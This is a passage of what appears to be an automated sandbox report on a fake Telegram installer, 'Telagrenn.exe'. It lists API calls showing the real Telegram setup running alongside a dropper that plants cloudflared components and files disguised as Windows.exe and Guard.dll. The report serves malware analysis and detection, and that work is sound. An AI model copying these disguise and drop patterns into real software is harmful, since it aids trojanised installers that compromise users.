"HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25"; Key: "BLOB")39:T949,"Telagrenn.exe" called "CreateDirectoryA" with parameter %TEMP%\gentee2B (UID: 00000000-00002804) "Telagrenn.exe" called "CreateDirectoryA" with parameter %APPDATA%\Telegram (UID: 00000000-00002804) "tsetup-x64.7.0.2.exe" called "CreateDirectoryW" with parameter %TEMP%\is-MJMQ8.tmp (UID: 00000000-00007176) "tsetup-x64.7.0.2.tmp" called "CreateDirectoryW" with parameter %TEMP%\is-BHBL5.tmp (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "CreateDirectoryW" with parameter %TEMP%\is-BHBL5.tmp\_isetup (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "CreateDirectoryW" with parameter %APPDATA%\Telegram Desktop (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "CreateDirectoryW" with parameter %APPDATA%\Telegram Desktop\modules (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "CreateDirectoryW" with parameter %APPDATA%\Telegram Desktop\modules\x64 (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "CreateDirectoryW" with parameter %APPDATA%\Telegram Desktop\modules\x64\d3d (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Start Menu\Programs\Telegram Desktop (UID: 00000000-00007736) "Telegram.exe" called "CreateDirectoryW" with parameter \\?\%APPDATA%\Telegram Desktop\tdata\emoji\spoiler (UID: 00000000-00002316) "Telegram.exe" called "CreateDirectoryW" with parameter \\?\%APPDATA%\Telegram Desktop\tdata\temp (UID: 00000000-00002316) "Telegram.exe" called "CreateDirectoryW" with parameter \\?\%APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8C (UID: 00000000-00002316) "Telegram.exe" called "CreateDirectoryW" with parameter \\?\%APPDATA%\Telegram Desktop\tupdates (UID: 00000000-00002316) "D5rra.exe" called "CreateDirectoryW" with parameter %TEMP%\is-DUFEV.tmp (UID: 00000000-00006424) "D5rra.tmp" called "CreateDirectoryW" with parameter %TEMP%\is-CAG3H.tmp (UID: 00000000-00002688) "D5rra.tmp" called "CreateDirectoryW" with parameter %TEMP%\is-CAG3H.tmp\_isetup (UID: 00000000-00002688) "D5rra.tmp" called "CreateDirectoryW" with parameter %TEMP%\is-CAG3H.tmp\cloudflared_installer (UID: 00000000-00002688) "D5rra.tmp" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\CfServerSoftwareDistribution (UID: 00000000-00002688) "D5rra.tmp" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\System (UID: 00000000-00002688)3a:T1ba6,"Telagrenn.exe" called "LoadLibrary" with a parameter %TEMP%\genteert.dll (UID: 00000000-00002804) "Telagrenn.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002804) "Telagrenn.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002804) "Telagrenn.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002804) "Telagrenn.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002804) "Telagrenn.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002804) "Telagrenn.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002804) "Telagrenn.exe" called "LoadLibrary" with a parameter %TEMP%\gentee2B\guig.dll (UID: 00000000-00002804) "Telagrenn.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002804) "Telagrenn.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00002804) "Telagrenn.exe" called "LoadLibrary" with a parameter Oleaut32.dll (UID: 00000000-00002804) "Telagrenn.exe" called "LoadLibrary" with a parameter Ole32.dll (UID: 00000000-00002804) "Telagrenn.exe" called "LoadLibrary" with a parameter mpr.dll (UID: 00000000-00002804) "Telagrenn.exe" called "LoadLibrary" with a parameter riched20.dll (UID: 00000000-00002804) "cscript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006908) "cscript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006908) "cscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006908) "cscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006908) "cscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006908) "cscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006908) "cscript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006908) "cscript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00006908) "cscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006908) "cscript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006908) "tsetup-x64.7.0.2.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00007176) "tsetup-x64.7.0.2.tmp" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadLibrary" with a parameter Msctf.dll (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadLibrary" with a parameter DWMAPI.DLL (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\shfolder.dll (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\Rstrtmgr.dll (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\shlwapi.dll (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\sfc.dll (UID: 00000000-00007736) "Telegram.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002316) "Telegram.exe" called "LoadLibrary" with a parameter webauthn.dll (UID: 00000000-00002316) "Telegram.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00001040) "Telegram.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00007280) "D5rra.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006424) "D5rra.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00006424) "D5rra.tmp" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter Msctf.dll (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\shfolder.dll (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\Rstrtmgr.dll (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\shlwapi.dll (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter DWMAPI.DLL (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\sfc.dll (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-2 (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter %TEMP%\is-CAG3H.tmp\CoreLogic.dll (UID: 00000000-00002688) "D5rra.tmp" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00002688) "System.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00003244) "System.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003244) "System.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00003244) "System.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00003244) "System.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003244) "System.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00003244) "System.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003244) "System.exe" called "LoadLibrary" with a parameter mswsock.dll (UID: 00000000-00003244) "System.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00003244) "System.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00003244)3b:T67c,"tsetup-x64.7.0.2.tmp" called "MoveFileW" with parameter %APPDATA%\Telegram Desktop\is-7JH8E.tmp & %APPDATA%\Telegram Desktop\unins000.exe (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "MoveFileW" with parameter %APPDATA%\Telegram Desktop\is-E85C2.tmp & %APPDATA%\Telegram Desktop\Telegram.exe (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "MoveFileW" with parameter %APPDATA%\Telegram Desktop\is-2BAEF.tmp & %APPDATA%\Telegram Desktop\Updater.exe (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "MoveFileW" with parameter %APPDATA%\Telegram Desktop\modules\x64\d3d\is-PVEBQ.tmp & %APPDATA%\Telegram Desktop\modules\x64\d3d\d3dcompiler_47.dll (UID: 00000000-00007736) "Telegram.exe" called "MoveFileW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations\K666QM6SNJ8N1WNS9SO3.temp & %APPDATA%\Microsoft\Windows\Recent\CustomDestinations\41f23bb65d5a09df.customDestinations-ms (UID: 00000000-00002316) "D5rra.tmp" called "MoveFileW" with parameter %TEMP%\is-CAG3H.tmp\is-5K88K.tmp & %TEMP%\is-CAG3H.tmp\cf.msi (UID: 00000000-00002688) "D5rra.tmp" called "MoveFileW" with parameter %ALLUSERSPROFILE%\CfServerSoftwareDistribution\is-3R46B.tmp & %ALLUSERSPROFILE%\CfServerSoftwareDistribution\Guard.dll (UID: 00000000-00002688) "D5rra.tmp" called "MoveFileW" with parameter %ALLUSERSPROFILE%\CfServerSoftwareDistribution\is-4O7G3.tmp & %ALLUSERSPROFILE%\CfServerSoftwareDistribution\Windows.exe (UID: 00000000-00002688) "D5rra.tmp" called "MoveFileW" with parameter %ALLUSERSPROFILE%\CfServerSoftwareDistribution\Windows.exe & %ALLUSERSPROFILE%\CfServerSoftwareDistribution\WindowsEvent.exe (UID: 00000000-00002688)3c:T13bad,"Telagrenn.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter gentee_init (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter gentee_deinit (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter gentee_load (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter gentee_set (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter gentee_call (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CompareFileTime (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CreateDirectoryA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter DeleteFileA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter FileTimeToLocalFileTime (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter FileTimeToSystemTime (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter FindFirstFileA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter FindNextFileA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetDateFormatA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetDriveTypeA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetFullPathNameA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetLogicalDriveStringsA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetLocaleInfoA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetLocalTime (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetTimeFormatA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter MoveFileExA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter MulDiv (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter RemoveDirectoryA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SetCurrentDirectoryA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SetFileAttributesA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SetFileTime (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter WritePrivateProfileStringA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter ShellExecuteA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter ShellExecuteExA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CharLowerBuffA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetSystemDirectoryA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetTempPathA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetWindowsDirectoryA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SHGetSpecialFolderLocation (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SHGetPathFromIDListW (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter RegEnumKeyExA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter RegEnumValueA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetVersionExA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetFileVersionInfoA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter VerQueryValueA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter win_getproc (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter win_exdata (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter win_init (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter win_register (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter dlg_box (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter guig_init (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter dlg_boxindirect (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter freepicture (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter loadpicture (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter paintpicture (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter InitCommonControls (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter BeginPaint (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter ClientToScreen (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter DestroyIcon (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter DestroyWindow (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter DrawTextA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter EndDialog (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter EndPaint (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter FillRect (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetActiveWindow (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetClassNameA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetCursorPos (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetDlgItem (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetSysColor (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetWindowDC (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetWindowLongA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetWindowTextA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetWindowTextLengthA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter InvalidateRect (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter IsWindowEnabled (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter LoadCursorA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter LoadImageA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter PtInRect (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter ReleaseCapture (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SendMessageA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SetCapture (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SetFocus (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SetForegroundWindow (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SetWindowPos (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SetWindowTextA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter UpdateWindow (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CreateFontIndirectA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CreateSolidBrush (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetObjectA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetTextExtentPoint32A (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SetBkColor (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SetBkMode (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SetTextColor (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter FindResourceA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GlobalFree (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GlobalLock (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GlobalUnlock (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter LoadResource (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SizeofResource (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SHChangeNotify (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CLSIDFromString (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetUserNameA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter WNetGetUserA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetComputerNameA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetSystemDefaultUILanguage (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter ExitWindowsEx (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CreateMutexA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter GetShortPathNameA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter BroadcastSystemMessageA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter RegisterWindowMessageA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CharToOemBuffA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CreatePipe (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter EnumChildWindows (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter FindWindowW (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter OpenMutexA (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter Process32First (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter Process32Next (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter gentee_ptr (UID: 00000000-00002804) "Telagrenn.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002804) "cscript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter 